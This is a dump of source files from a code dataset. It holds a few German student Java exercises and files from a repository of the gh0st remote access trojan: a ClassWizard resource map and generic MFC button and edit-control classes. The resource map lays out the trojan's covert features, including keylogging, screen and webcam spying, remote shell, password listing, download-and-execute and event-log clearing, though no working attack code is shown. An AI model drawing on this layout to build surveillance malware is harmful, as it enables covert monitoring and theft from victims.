code stringlengths 1 2.01M | repo_name stringlengths 3 62 | path stringlengths 1 267 | language stringclasses 231 values | license stringclasses 13 values | size int64 1 2.01M |
|---|---|---|---|---|---|
import java.lang.System.*;
public class Aufgabe1 {
public static void main(String[] args)
{
System.out.println("Hallo Welt!");
}
}
| 12foiatim | src/Aufgabe1.java | Java | asf20 | 146 |
import java.io.*;
public class datei {
public static void main(String[] args) throws IOException
{
FileWriter ausgabeStrom = new FileWriter("datei1");
PrintWriter ausgabe = new PrintWriter(ausgabeStrom);
ausgabe.println("Testzeile!");
ausgabe.print("test");
ausgabe.flush();
ausgabe.close();
FileReader eingabeStrom = new FileReader("datei1");
BufferedReader eingabe = new BufferedReader(eingabeStrom);
String gelesen = "";
do
{
gelesen = eingabe.readLine();
System.out.println(gelesen);
if(gelesen == null)
{
break;
}
}
while (gelesen != null);
{
//eingabe.close();
}
System.out.println(eingabe.readLine());
System.out.println(eingabe.readLine());
System.out.println(eingabe.readLine());
}
}
| 12foiatim | src/datei.java | Java | asf20 | 791 |
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Kreis {
public static void main(String args[]) throws IOException
{
int x = 20;
int y = 20;
int ix,iy = 0;
/*while(iy >= y)
{
if(ix== 1 || ix == y)
{
}
}*/
}
}
| 12foiatim | src/Kreis.java | Java | asf20 | 319 |
public class Zins_1 {
public static void main(String[] args)
{
double zinssatz = 2.5; // %
double kapital = 1000.00; // Euro
int anzJahre = 5;
double zinsertrag;
/*
* Ein Kapital von 1000.00 Euro erbringt bei einem Zinssatz
von 2.5 % pro Jahr in 5 Jahren einen Gewinn von
125.00 Euro.
*/
zinsertrag = (((kapital/100)*zinssatz)*anzJahre);
System.out.println("Ein Kapital von "+kapital+" Euro erbringt bei einem Zinssatz von "+zinssatz+" % pro Jahr in "+ anzJahre+" Jahren ein Gewinn von "+zinsertrag+" Euro");
}
}
| 12foiatim | src/Zins_1.java | Java | asf20 | 552 |
public class Aufgabe2
{
public static void main(String[] args)
{
System.out.print("3.3 + 2 = " + (3.3 + 2.0));
}
}
| 12foiatim | src/Aufgabe2.java | Java | asf20 | 127 |
; CLW file contains information for the MFC ClassWizard
[General Info]
Version=1
LastClass=CFileManagerDlg
LastTemplate=CDialog
NewFileInclude1=#include "stdafx.h"
NewFileInclude2=#include "gh0st.h"
LastPage=0
ClassCount=20
Class1=CBuildView
Class2=CCustomTabCtrl
Class3=CDownExecDlg
Class4=CFileManagerDlg
Class5=CFileTransferModeDlg
Class6=CGh0stApp
Class7=CAboutDlg
Class8=CGh0stDoc
Class9=CGh0stView
Class10=CKeyBoardDlg
Class11=CMainFrame
Class12=CMyListCtrl
Class13=CNewFolderDlg
Class14=CScreenSpyDlg
Class15=CSettingsView
Class16=CShellDlg
Class17=CSystemDlg
Class18=CTabSDIFrameWnd
Class19=CTrueColorToolBar
Class20=CWebCamDlg
ResourceCount=19
Resource1=IDR_LIST
Resource2=IDR_TOOLBAR1
Resource3=IDR_MAINFRAME
Resource4=IDD_FILE
Resource5=IDR_PSLIST
Resource6=IDD_KEYBOARD
Resource7=IDR_LOCAL_VIEW
Resource8=IDD_ABOUTBOX
Resource9=IDR_TOOLBAR2
Resource10=IDD_WEBCAM
Resource11=IDR_FILEMANAGER
Resource12=IDR_MINIMIZE
Resource13=IDD_TRANSFERMODE_DLG
Resource14=IDD_SCREENSPY
Resource15=IDD_SYSTEM
Resource16=IDD_SETTINGS
Resource17=IDR_REMOTE_VIEW
Resource18=IDD_SHELL
Resource19=IDD_BUILD
[CLS:CBuildView]
Type=0
BaseClass=CFormView
HeaderFile=BuildView.h
ImplementationFile=BuildView.cpp
Filter=D
VirtualFilter=VWC
LastObject=CBuildView
[CLS:CCustomTabCtrl]
Type=0
BaseClass=CWnd
HeaderFile=CustomTabCtrl.h
ImplementationFile=CustomTabCtrl.cpp
[CLS:CDownExecDlg]
Type=0
BaseClass=CDialog
HeaderFile=DownExecDlg.h
ImplementationFile=DownExecDlg.cpp
[CLS:CFileManagerDlg]
Type=0
BaseClass=CDialog
HeaderFile=FileManagerDlg.h
ImplementationFile=FileManagerDlg.cpp
Filter=D
VirtualFilter=dWC
LastObject=CFileManagerDlg
[CLS:CFileTransferModeDlg]
Type=0
BaseClass=CDialog
HeaderFile=FileTransferModeDlg.h
ImplementationFile=FileTransferModeDlg.cpp
[CLS:CGh0stApp]
Type=0
BaseClass=CWinApp
HeaderFile=gh0st.h
ImplementationFile=gh0st.cpp
[CLS:CAboutDlg]
Type=0
BaseClass=CDialog
HeaderFile=gh0st.cpp
ImplementationFile=gh0st.cpp
LastObject=CAboutDlg
[CLS:CGh0stDoc]
Type=0
BaseClass=CDocument
HeaderFile=gh0stDoc.h
ImplementationFile=gh0stDoc.cpp
[CLS:CGh0stView]
Type=0
BaseClass=CListView
HeaderFile=gh0stView.h
ImplementationFile=gh0stView.cpp
Filter=C
VirtualFilter=VWC
LastObject=CGh0stView
[CLS:CKeyBoardDlg]
Type=0
BaseClass=CDialog
HeaderFile=KeyBoardDlg.h
ImplementationFile=KeyBoardDlg.cpp
Filter=D
VirtualFilter=dWC
[CLS:CMainFrame]
Type=0
BaseClass=CFrameWnd
HeaderFile=MainFrm.h
ImplementationFile=MainFrm.cpp
LastObject=IDM_RENAME
Filter=T
VirtualFilter=fWC
[CLS:CMyListCtrl]
Type=0
BaseClass=CListCtrl
HeaderFile=MyListCtrl.h
ImplementationFile=MyListCtrl.cpp
[CLS:CNewFolderDlg]
Type=0
BaseClass=CDialog
HeaderFile=NewFolderDlg.h
ImplementationFile=NewFolderDlg.cpp
[CLS:CScreenSpyDlg]
Type=0
BaseClass=CDialog
HeaderFile=ScreenSpyDlg.h
ImplementationFile=ScreenSpyDlg.cpp
Filter=D
VirtualFilter=dWC
LastObject=IDM_LOCAL_OPEN
[CLS:CSettingsView]
Type=0
BaseClass=CFormView
HeaderFile=SettingsView.h
ImplementationFile=SettingsView.cpp
Filter=D
VirtualFilter=VWC
LastObject=IDM_UPDATE_SERVER
[CLS:CShellDlg]
Type=0
BaseClass=CDialog
HeaderFile=ShellDlg.h
ImplementationFile=ShellDlg.cpp
Filter=D
VirtualFilter=dWC
[CLS:CSystemDlg]
Type=0
BaseClass=CDialog
HeaderFile=SystemDlg.h
ImplementationFile=SystemDlg.cpp
Filter=D
VirtualFilter=dWC
LastObject=CSystemDlg
[CLS:CTabSDIFrameWnd]
Type=0
BaseClass=CFrameWnd
HeaderFile=TabSDIFrameWnd.h
ImplementationFile=TabSDIFrameWnd.cpp
[CLS:CTrueColorToolBar]
Type=0
BaseClass=CToolBar
HeaderFile=TrueColorToolBar.h
ImplementationFile=TrueColorToolBar.cpp
[CLS:CWebCamDlg]
Type=0
BaseClass=CDialog
HeaderFile=WebCamDlg.h
ImplementationFile=WebCamDlg.cpp
[DLG:IDD_BUILD]
Type=1
Class=CBuildView
ControlCount=11
Control1=IDC_STATIC,static,1342177296
Control2=IDC_STATIC_VER,static,1342308352
Control3=IDC_STATIC,static,1342308352
Control4=IDC_STATIC,static,1342308352
Control5=IDC_STATIC,button,1342177287
Control6=IDC_URL,edit,1484849280
Control7=IDC_BUILD,button,1342242816
Control8=IDC_STATIC,static,1342308352
Control9=IDC_STATIC,static,1342308352
Control10=IDC_DNS_STRING,edit,1350631552
Control11=IDC_ENABLE_HTTP,button,1342242819
[DLG:IDD_FILE]
Type=1
Class=CFileManagerDlg
ControlCount=6
Control1=IDC_LOCAL_PATH,combobox,1344340226
Control2=IDC_LIST_LOCAL,SysListView32,1350632192
Control3=IDC_REMOTE_PATH,combobox,1344340226
Control4=IDC_LIST_REMOTE,SysListView32,1350632200
Control5=IDC_STATIC,static,1342308352
Control6=IDC_STATIC_REMOTE,static,1342308352
[DLG:IDD_TRANSFERMODE_DLG]
Type=1
Class=CFileTransferModeDlg
ControlCount=9
Control1=IDC_STATIC,button,1342177287
Control2=IDC_TIPS,static,1342308352
Control3=IDC_OVERWRITE,button,1342242816
Control4=IDC_ADDITION,button,1342242816
Control5=IDC_JUMP,button,1342242816
Control6=IDC_OVERWRITE_ALL,button,1342242816
Control7=IDC_ADDITION_ALL,button,1342242816
Control8=IDC_JUMP_ALL,button,1342242816
Control9=IDC_CANCEL,button,1342242816
[DLG:IDD_ABOUTBOX]
Type=1
Class=CAboutDlg
ControlCount=4
Control1=IDC_STATIC,static,1342177283
Control2=IDC_STATIC,static,1342308480
Control3=IDC_STATIC,static,1342308352
Control4=IDOK,button,1342373889
[DLG:IDD_KEYBOARD]
Type=1
Class=CKeyBoardDlg
ControlCount=1
Control1=IDC_EDIT,edit,1352734788
[DLG:IDD_SCREENSPY]
Type=1
Class=CScreenSpyDlg
ControlCount=0
[DLG:IDD_SETTINGS]
Type=1
Class=CSettingsView
ControlCount=29
Control1=IDC_STATIC,button,1342177287
Control2=IDC_STATIC,static,1342308352
Control3=IDC_REMOTE_HOST,edit,1350631553
Control4=IDC_STATIC,static,1342308352
Control5=IDC_REMOTE_PORT,edit,1350639745
Control6=IDC_ENCODE,edit,1350633601
Control7=IDC_STATIC,static,1342308352
Control8=IDC_STATIC,button,1342177287
Control9=IDC_RESETPORT,button,1342242816
Control10=IDC_STATIC,static,1342308352
Control11=IDC_LISTEN_PORT,edit,1350639745
Control12=IDC_STATIC,static,1342308352
Control13=IDC_CONNECT_MAX,edit,1350639745
Control14=IDC_CONNECT_AUTO,button,1342242819
Control15=IDC_STATIC,static,1342308352
Control16=IDC_PROXY_HOST,edit,1350631553
Control17=IDC_STATIC,static,1342308352
Control18=IDC_PROXY_PORT,edit,1350639745
Control19=IDC_CHECK_AUTH,button,1342242819
Control20=IDC_CHECK_PROXY,button,1342242819
Control21=IDC_STATIC,static,1342308352
Control22=IDC_PROXY_USER,edit,1350631553
Control23=IDC_PROXY_PASS,edit,1350631585
Control24=IDC_STATIC,static,1342308352
Control25=IDC_TEST_PROXY,button,1342242816
Control26=IDC_TEST_MASTER,button,1342242816
Control27=IDC_STATIC,button,1342177287
Control28=IDC_SYSTEM_TIPS,static,1342308352
Control29=IDC_DISABLE_POPTIPS,button,1342242819
[DLG:IDD_SHELL]
Type=1
Class=CShellDlg
ControlCount=1
Control1=IDC_EDIT,edit,1353781444
[DLG:IDD_SYSTEM]
Type=1
Class=CSystemDlg
ControlCount=4
Control1=IDC_LIST_PROCESS,SysListView32,1350631425
Control2=IDC_TAB,SysTabControl32,1342177600
Control3=IDC_LIST_WINDOWS,SysListView32,1350631425
Control4=IDC_LIST_DIALUPASS,SysListView32,1350631425
[DLG:IDD_WEBCAM]
Type=1
Class=CWebCamDlg
ControlCount=0
[MNU:IDR_MAINFRAME]
Type=1
Class=?
Command1=ID_APP_PWD
Command2=ID_VIEW_STATUS_BAR
Command3=ID_APP_ABOUT
CommandCount=3
[MNU:IDR_LIST]
Type=1
Class=CGh0stView
Command1=IDM_FILEMANAGER
Command2=IDM_SCREENSPY
Command3=IDM_KEYBOARD
Command4=IDM_REMOTESHELL
Command5=IDM_SYSTEM
Command6=IDM_WEBCAM
Command7=IDM_LOGOFF
Command8=IDM_REBOOT
Command9=IDM_SHUTDOWN
Command10=IDM_REMOVE
Command11=IDM_DOWNEXEC
Command12=IDM_UPDATE_SERVER
Command13=IDM_OPEN_URL_HIDE
Command14=IDM_OPEN_URL_SHOW
Command15=IDM_CLEANEVENT
Command16=IDM_RENAME_REMARK
Command17=IDM_SELECT_ALL
Command18=IDM_UNSELECT_ALL
CommandCount=18
[MNU:IDR_FILEMANAGER]
Type=1
Class=CFileManagerDlg
Command1=IDM_TRANSFER
Command2=IDM_RENAME
Command3=IDM_DELETE
Command4=IDM_NEWFOLDER
Command5=IDM_LOCAL_OPEN
Command6=IDM_REMOTE_OPEN_SHOW
Command7=IDM_REMOTE_OPEN_HIDE
Command8=IDM_REFRESH
CommandCount=8
[MNU:IDR_LOCAL_VIEW]
Type=1
Class=?
Command1=IDM_LOCAL_BIGICON
Command2=IDM_LOCAL_SMALLICON
Command3=IDM_LOCAL_LIST
Command4=IDM_LOCAL_REPORT
CommandCount=4
[MNU:IDR_REMOTE_VIEW]
Type=1
Class=?
Command1=IDM_REMOTE_BIGICON
Command2=IDM_REMOTE_SMALLICON
Command3=IDM_REMOTE_LIST
Command4=IDM_REMOTE_REPORT
CommandCount=4
[MNU:IDR_PSLIST]
Type=1
Class=?
Command1=IDM_KILLPROCESS
Command2=IDM_REFRESHPSLIST
CommandCount=2
[TB:IDR_TOOLBAR1]
Type=1
Class=?
Command1=IDT_LOCAL_PREV
Command2=IDT_LOCAL_COPY
Command3=IDT_LOCAL_DELETE
Command4=IDT_LOCAL_NEWFOLDER
Command5=IDT_LOCAL_VIEW
Command6=IDT_LOCAL_STOP
CommandCount=6
[TB:IDR_TOOLBAR2]
Type=1
Class=?
Command1=IDT_REMOTE_PREV
Command2=IDT_REMOTE_COPY
Command3=IDT_REMOTE_DELETE
Command4=IDT_REMOTE_NEWFOLDER
Command5=IDT_REMOTE_VIEW
Command6=IDT_REMOTE_STOP
CommandCount=6
[MNU:IDR_MINIMIZE]
Type=1
Class=CMainFrame
Command1=IDM_HIDE
Command2=IDM_SHOW
Command3=IDM_EXIT
CommandCount=3
| 07321-rat | trunk/gh0st/gh0st.clw | Clarion | asf20 | 9,110 |
//
// Class: CButtonST
//
// Compiler: Visual C++
// Tested on: Visual C++ 5.0
// Visual C++ 6.0
//
// Version: See GetVersionC() or GetVersionI()
//
// Created: xx/xxxx/1998
// Updated: 25/November/2002
//
// Author: Davide Calabro' davide_calabro@yahoo.com
// http://www.softechsoftware.it
//
// Note: Code for the PreSubclassWindow and OnSetStyle functions
// has been taken from the COddButton class
// published by Paolo Messina and Jerzy Kaczorowski
//
// Disclaimer
// ----------
// THIS SOFTWARE AND THE ACCOMPANYING FILES ARE DISTRIBUTED "AS IS" AND WITHOUT
// ANY WARRANTIES WHETHER EXPRESSED OR IMPLIED. NO REPONSIBILITIES FOR POSSIBLE
// DAMAGES OR EVEN FUNCTIONALITY CAN BE TAKEN. THE USER MUST ASSUME THE ENTIRE
// RISK OF USING THIS SOFTWARE.
//
// Terms of use
// ------------
// THIS SOFTWARE IS FREE FOR PERSONAL USE OR FREEWARE APPLICATIONS.
// IF YOU USE THIS SOFTWARE IN COMMERCIAL OR SHAREWARE APPLICATIONS YOU
// ARE GENTLY ASKED TO DONATE 5$ (FIVE U.S. DOLLARS) TO THE AUTHOR:
//
// Davide Calabro'
// P.O. Box 65
// 21019 Somma Lombardo (VA)
// Italy
//
// Modified by jingzhou xu, Add background color support
//
#ifndef _BTNST_H
#define _BTNST_H
// Uncomment the following line to enable support for sound effects
#define BTNST_USE_SOUND
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
// Return values
#ifndef BTNST_OK
#define BTNST_OK 0
#endif
#ifndef BTNST_INVALIDRESOURCE
#define BTNST_INVALIDRESOURCE 1
#endif
#ifndef BTNST_FAILEDMASK
#define BTNST_FAILEDMASK 2
#endif
#ifndef BTNST_INVALIDINDEX
#define BTNST_INVALIDINDEX 3
#endif
#ifndef BTNST_INVALIDALIGN
#define BTNST_INVALIDALIGN 4
#endif
#ifndef BTNST_BADPARAM
#define BTNST_BADPARAM 5
#endif
#ifndef BTNST_INVALIDPRESSEDSTYLE
#define BTNST_INVALIDPRESSEDSTYLE 6
#endif
// Dummy identifier for grayscale icon
#ifndef BTNST_AUTO_GRAY
#define BTNST_AUTO_GRAY (HICON)(0xffffffff - 1L)
#endif
class CButtonST : public CButton
{
public:
CButtonST();
~CButtonST();
enum { ST_ALIGN_HORIZ = 0, // Icon/bitmap on the left, text on the right
ST_ALIGN_VERT, // Icon/bitmap on the top, text on the bottom
ST_ALIGN_HORIZ_RIGHT, // Icon/bitmap on the right, text on the left
ST_ALIGN_OVERLAP // Icon/bitmap on the same space as text
};
enum { BTNST_COLOR_BK_IN = 0, // Background color when mouse is INside
BTNST_COLOR_FG_IN, // Text color when mouse is INside
BTNST_COLOR_BK_OUT, // Background color when mouse is OUTside
BTNST_COLOR_FG_OUT, // Text color when mouse is OUTside
BTNST_COLOR_BK_FOCUS, // Background color when the button is focused
BTNST_COLOR_FG_FOCUS, // Text color when the button is focused
BTNST_MAX_COLORS
};
enum { BTNST_PRESSED_LEFTRIGHT = 0, // Pressed style from left to right (as usual)
BTNST_PRESSED_TOPBOTTOM // Pressed style from top to bottom
};
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CButtonST)
public:
virtual void DrawItem(LPDRAWITEMSTRUCT lpDrawItemStruct);
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void PreSubclassWindow();
//}}AFX_VIRTUAL
public:
DWORD SetDefaultColors(BOOL bRepaint = TRUE);
DWORD SetColor(BYTE byColorIndex, COLORREF crColor, BOOL bRepaint = TRUE);
DWORD GetColor(BYTE byColorIndex, COLORREF* crpColor);
DWORD OffsetColor(BYTE byColorIndex, short shOffset, BOOL bRepaint = TRUE);
// Background color support, jingzhou xu
void SetBkColor(COLORREF clrBk);
COLORREF GetBkColor();
DWORD SetCheck(int nCheck, BOOL bRepaint = TRUE);
int GetCheck();
DWORD SetURL(LPCTSTR lpszURL = NULL);
void DrawTransparent(BOOL bRepaint = FALSE);
DWORD SetBk(CDC* pDC);
BOOL GetDefault();
DWORD SetAlwaysTrack(BOOL bAlwaysTrack = TRUE);
void SetTooltipText(int nText, BOOL bActivate = TRUE);
void SetTooltipText(LPCTSTR lpszText, BOOL bActivate = TRUE);
void ActivateTooltip(BOOL bEnable = TRUE);
DWORD EnableBalloonTooltip();
DWORD SetBtnCursor(int nCursorId = NULL, BOOL bRepaint = TRUE);
DWORD SetFlat(BOOL bFlat = TRUE, BOOL bRepaint = TRUE);
DWORD SetAlign(BYTE byAlign, BOOL bRepaint = TRUE);
DWORD SetPressedStyle(BYTE byStyle, BOOL bRepaint = TRUE);
DWORD DrawBorder(BOOL bDrawBorder = TRUE, BOOL bRepaint = TRUE);
DWORD DrawFlatFocus(BOOL bDrawFlatFocus, BOOL bRepaint = TRUE);
DWORD SetIcon(int nIconIn, int nIconOut = NULL);
DWORD SetIcon(HICON hIconIn, HICON hIconOut = NULL);
DWORD SetBitmaps(int nBitmapIn, COLORREF crTransColorIn, int nBitmapOut = NULL, COLORREF crTransColorOut = 0);
DWORD SetBitmaps(HBITMAP hBitmapIn, COLORREF crTransColorIn, HBITMAP hBitmapOut = NULL, COLORREF crTransColorOut = 0);
void SizeToContent();
#ifdef BTNST_USE_BCMENU
DWORD SetMenu(UINT nMenu, HWND hParentWnd, BOOL bWinXPStyle = TRUE, UINT nToolbarID = NULL, CSize sizeToolbarIcon = CSize(16, 16), COLORREF crToolbarBk = RGB(255, 0, 255), BOOL bRepaint = TRUE);
#else
DWORD SetMenu(UINT nMenu, HWND hParentWnd, BOOL bRepaint = TRUE);
#endif
DWORD SetMenuCallback(HWND hWnd, UINT nMessage, LPARAM lParam = 0);
#ifdef BTNST_USE_SOUND
DWORD SetSound(LPCTSTR lpszSound, HMODULE hMod = NULL, BOOL bPlayOnClick = FALSE, BOOL bPlayAsync = TRUE);
#endif
static short GetVersionI() {return 38;}
static LPCTSTR GetVersionC() {return (LPCTSTR)_T("3.8");}
BOOL m_bShowDisabledBitmap;
POINT m_ptImageOrg;
POINT m_ptPressedOffset;
protected:
//{{AFX_MSG(CButtonST)
afx_msg BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
afx_msg void OnKillFocus(CWnd* pNewWnd);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnSysColorChange();
afx_msg BOOL OnClicked();
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
afx_msg void OnEnable(BOOL bEnable);
afx_msg void OnCancelMode();
afx_msg UINT OnGetDlgCode();
//}}AFX_MSG
#ifdef BTNST_USE_BCMENU
afx_msg LRESULT OnMenuChar(UINT nChar, UINT nFlags, CMenu* pMenu);
afx_msg void OnMeasureItem(int nIDCtl, LPMEASUREITEMSTRUCT lpMeasureItemStruct);
#endif
afx_msg HBRUSH CtlColor(CDC* pDC, UINT nCtlColor);
HICON CreateGrayscaleIcon(HICON hIcon);
virtual DWORD OnDrawBackground(CDC* pDC, CRect* pRect);
virtual DWORD OnDrawBorder(CDC* pDC, CRect* pRect);
COLORREF m_clrBkColor; // Background color, jingzhou xu
BOOL m_bIsFlat; // Is a flat button?
BOOL m_bMouseOnButton; // Is mouse over the button?
BOOL m_bDrawTransparent; // Draw transparent?
BOOL m_bIsPressed; // Is button pressed?
BOOL m_bIsFocused; // Is button focused?
BOOL m_bIsDisabled; // Is button disabled?
BOOL m_bIsDefault; // Is default button?
BOOL m_bIsCheckBox; // Is the button a checkbox?
BYTE m_byAlign; // Align mode
BOOL m_bDrawBorder; // Draw border?
BOOL m_bDrawFlatFocus; // Draw focus rectangle for flat button?
COLORREF m_crColors[BTNST_MAX_COLORS]; // Colors to be used
HWND m_hParentWndMenu; // Handle to window for menu selection
BOOL m_bMenuDisplayed; // Is menu displayed ?
#ifdef BTNST_USE_BCMENU
BCMenu m_menuPopup; // BCMenu class instance
#else
HMENU m_hMenu; // Handle to associated menu
#endif
private:
LRESULT OnSetCheck(WPARAM wParam, LPARAM lParam);
LRESULT OnGetCheck(WPARAM wParam, LPARAM lParam);
LRESULT OnSetStyle(WPARAM wParam, LPARAM lParam);
LRESULT OnMouseLeave(WPARAM wParam, LPARAM lParam);
void CancelHover();
void FreeResources(BOOL bCheckForNULL = TRUE);
void PrepareImageRect(BOOL bHasTitle, RECT* rpItem, CRect* rpTitle, BOOL bIsPressed, DWORD dwWidth, DWORD dwHeight, CRect* rpImage);
HBITMAP CreateBitmapMask(HBITMAP hSourceBitmap, DWORD dwWidth, DWORD dwHeight, COLORREF crTransColor);
virtual void DrawTheIcon(CDC* pDC, BOOL bHasTitle, RECT* rpItem, CRect* rpCaption, BOOL bIsPressed, BOOL bIsDisabled);
virtual void DrawTheBitmap(CDC* pDC, BOOL bHasTitle, RECT* rpItem, CRect* rpCaption, BOOL bIsPressed, BOOL bIsDisabled);
virtual void DrawTheText(CDC* pDC, LPCTSTR lpszText, RECT* rpItem, CRect* rpCaption, BOOL bIsPressed, BOOL bIsDisabled);
void PaintBk(CDC* pDC);
void InitToolTip();
HCURSOR m_hCursor; // Handle to cursor
CToolTipCtrl m_ToolTip; // Tooltip
CDC m_dcBk;
CBitmap m_bmpBk;
CBitmap* m_pbmpOldBk;
BOOL m_bAlwaysTrack; // Always hilight button?
int m_nCheck; // Current value for checkbox
UINT m_nTypeStyle; // Button style
DWORD m_dwToolTipStyle; // Style of tooltip control
TCHAR m_szURL[_MAX_PATH]; // URL to open when clicked
#pragma pack(1)
typedef struct _STRUCT_ICONS
{
HICON hIcon; // Handle to icon
DWORD dwWidth; // Width of icon
DWORD dwHeight; // Height of icon
} STRUCT_ICONS;
#pragma pack()
#pragma pack(1)
typedef struct _STRUCT_BITMAPS
{
HBITMAP hBitmap; // Handle to bitmap
DWORD dwWidth; // Width of bitmap
DWORD dwHeight; // Height of bitmap
HBITMAP hMask; // Handle to mask bitmap
COLORREF crTransparent; // Transparent color
} STRUCT_BITMAPS;
#pragma pack()
#pragma pack(1)
typedef struct _STRUCT_CALLBACK
{
HWND hWnd; // Handle to window
UINT nMessage; // Message identifier
WPARAM wParam;
LPARAM lParam;
} STRUCT_CALLBACK;
#pragma pack()
STRUCT_ICONS m_csIcons[2];
STRUCT_BITMAPS m_csBitmaps[2];
STRUCT_CALLBACK m_csCallbacks;
#ifdef BTNST_USE_SOUND
#pragma pack(1)
typedef struct _STRUCT_SOUND
{
TCHAR szSound[_MAX_PATH];
LPCTSTR lpszSound;
HMODULE hMod;
DWORD dwFlags;
} STRUCT_SOUND;
#pragma pack()
STRUCT_SOUND m_csSounds[2]; // Index 0 = Over 1 = Clicked
#endif
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio will insert additional declarations immediately before the previous line.
#endif
| 07321-rat | trunk/gh0st/control/BtnST.h | C++ | asf20 | 9,972 |
#include "stdafx.h"
#include "WinXPButtonST.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
CWinXPButtonST::CWinXPButtonST()
{
// No rounded borders
m_bIsRounded = FALSE;
}
CWinXPButtonST::~CWinXPButtonST()
{
}
// This function is called every time the button border needs to be painted.
// This is a virtual function that can be rewritten in CButtonST-derived classes
// to produce a whole range of buttons not available by default.
//
// Parameters:
// [IN] pDC
// Pointer to a CDC object that indicates the device context.
// [IN] pRect
// Pointer to a CRect object that indicates the bounds of the
// area to be painted.
//
// Return value:
// BTNST_OK
// Function executed successfully.
//
DWORD CWinXPButtonST::OnDrawBorder(CDC* pDC, CRect* pRect)
{
return BTNST_OK;
} // End of OnDrawBorder
// This function is called every time the button background needs to be painted.
// If the button is in transparent mode this function will NOT be called.
// This is a virtual function that can be rewritten in CButtonST-derived classes
// to produce a whole range of buttons not available by default.
//
// Parameters:
// [IN] pDC
// Pointer to a CDC object that indicates the device context.
// [IN] pRect
// Pointer to a CRect object that indicates the bounds of the
// area to be painted.
//
// Return value:
// BTNST_OK
// Function executed successfully.
//
DWORD CWinXPButtonST::OnDrawBackground(CDC* pDC, CRect* pRect)
{
COLORREF crBackColor = m_crColors[BTNST_COLOR_BK_IN];
COLORREF crBorderColor = RGB(0, 0, 0);
if (!m_bMouseOnButton && !m_bIsPressed)
{
crBackColor = GetSysColor(COLOR_BTNFACE);
crBorderColor = GetSysColor(COLOR_BTNSHADOW);
// return BASE_BUTTONST::OnDrawBackground(pDC, pRect);
}
// Create and select a solid brush for button background
CBrush brushBK(crBackColor);
CBrush* pOldBrush = pDC->SelectObject(&brushBK);
// Create and select a thick black pen for button border
CPen penBorder;
penBorder.CreatePen(PS_SOLID, 1, crBorderColor);
CPen* pOldPen = pDC->SelectObject(&penBorder);
if (m_bIsRounded)
pDC->RoundRect(pRect, CPoint(8, 8));
else
pDC->Rectangle(pRect);
// Put back the old objects
pDC->SelectObject(pOldBrush);
pDC->SelectObject(pOldPen);
return BTNST_OK;
} // End of OnDrawBackground
// This function enables or disables the rounded border for the button.
//
// Parameters:
// [IN] bRounded
// If TRUE the button will have a round border.
// [IN] bRepaint
// If TRUE the button will be repainted.
//
// Return value:
// BTNST_OK
// Function executed successfully.
//
DWORD CWinXPButtonST::SetRounded(BOOL bRounded, BOOL bRepaint)
{
m_bIsRounded = bRounded;
if (bRepaint) Invalidate();
return BTNST_OK;
} // End of SetRounded
#undef BASE_BUTTONST
| 07321-rat | trunk/gh0st/control/WinXPButtonST.cpp | C++ | asf20 | 2,941 |
#if !defined(AFX_HOVEREDIT_H__372AC76D_6B84_435C_8300_9519EB021C8C__INCLUDED_)
#define AFX_HOVEREDIT_H__372AC76D_6B84_435C_8300_9519EB021C8C__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// HoverEdit.h : header file
//
//#include "TrackControl.h"
/////////////////////////////////////////////////////////////////////////////
// CHoverEdit window
template<class BaseClass>
/////////////////////////////////////////////////////////////////////////////
// CTrackControl window
class CTrackControl : public BaseClass
{
// Construction
public:
CTrackControl()
{
m_bTracking=m_bHover=FALSE;
}
virtual ~CTrackControl() {}
BOOLEAN IsHover()
{
return m_bHover;
}
// Implementation
public:
virtual void OnHoverEnter()=0;
virtual void OnHoverLeave()=0;
// Generated message map functions
protected:
virtual LRESULT WindowProc(UINT nMessage, WPARAM wParam, LPARAM lParam)
{
LRESULT nResult=BaseClass::WindowProc(nMessage,wParam,lParam);
switch(nMessage)
{
case WM_MOUSEMOVE:
{
if (!m_bTracking)
{
TRACKMOUSEEVENT Tme;
Tme.cbSize = sizeof(Tme);
Tme.hwndTrack = GetSafeHwnd();
Tme.dwFlags = TME_LEAVE|TME_HOVER;
Tme.dwHoverTime = 1;
if (_TrackMouseEvent(&Tme))
m_bTracking=TRUE;
}
break;
}
case WM_MOUSEHOVER:
m_bHover=TRUE;
OnHoverEnter();
break;
case WM_MOUSELEAVE:
m_bTracking=m_bHover=FALSE;
OnHoverLeave();
break;
}
return nResult;
}
private:
BOOLEAN m_bTracking;
BOOLEAN m_bHover;
};
class CHoverEdit : public CTrackControl<CEdit>
{
// Construction
public:
CHoverEdit();
// Attributes
public:
// Operations
public:
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CHoverEdit)
//}}AFX_VIRTUAL
// Implementation
public:
virtual void OnHoverLeave();
virtual void OnHoverEnter();
virtual ~CHoverEdit();
// Generated message map functions
protected:
//{{AFX_MSG(CHoverEdit)
afx_msg void OnNcPaint();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
inline void Redraw();
};
/////////////////////////////////////////////////////////////////////////////
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_HOVEREDIT_H__372AC76D_6B84_435C_8300_9519EB021C8C__INCLUDED_)
| 07321-rat | trunk/gh0st/control/HoverEdit.h | C++ | asf20 | 2,457 |
//
// Class: CWinXPButtonST
//
// Compiler: Visual C++
// eMbedded Visual C++
// Tested on: Visual C++ 6.0
// Windows CE 3.0
//
// Created: 03/September/2001
// Updated: 25/November/2002
//
// Author: Davide Calabro' davide_calabro@yahoo.com
// Modified by jingzhou xu.
//
// Disclaimer
// ----------
// THIS SOFTWARE AND THE ACCOMPANYING FILES ARE DISTRIBUTED "AS IS" AND WITHOUT
// ANY WARRANTIES WHETHER EXPRESSED OR IMPLIED. NO REPONSIBILITIES FOR POSSIBLE
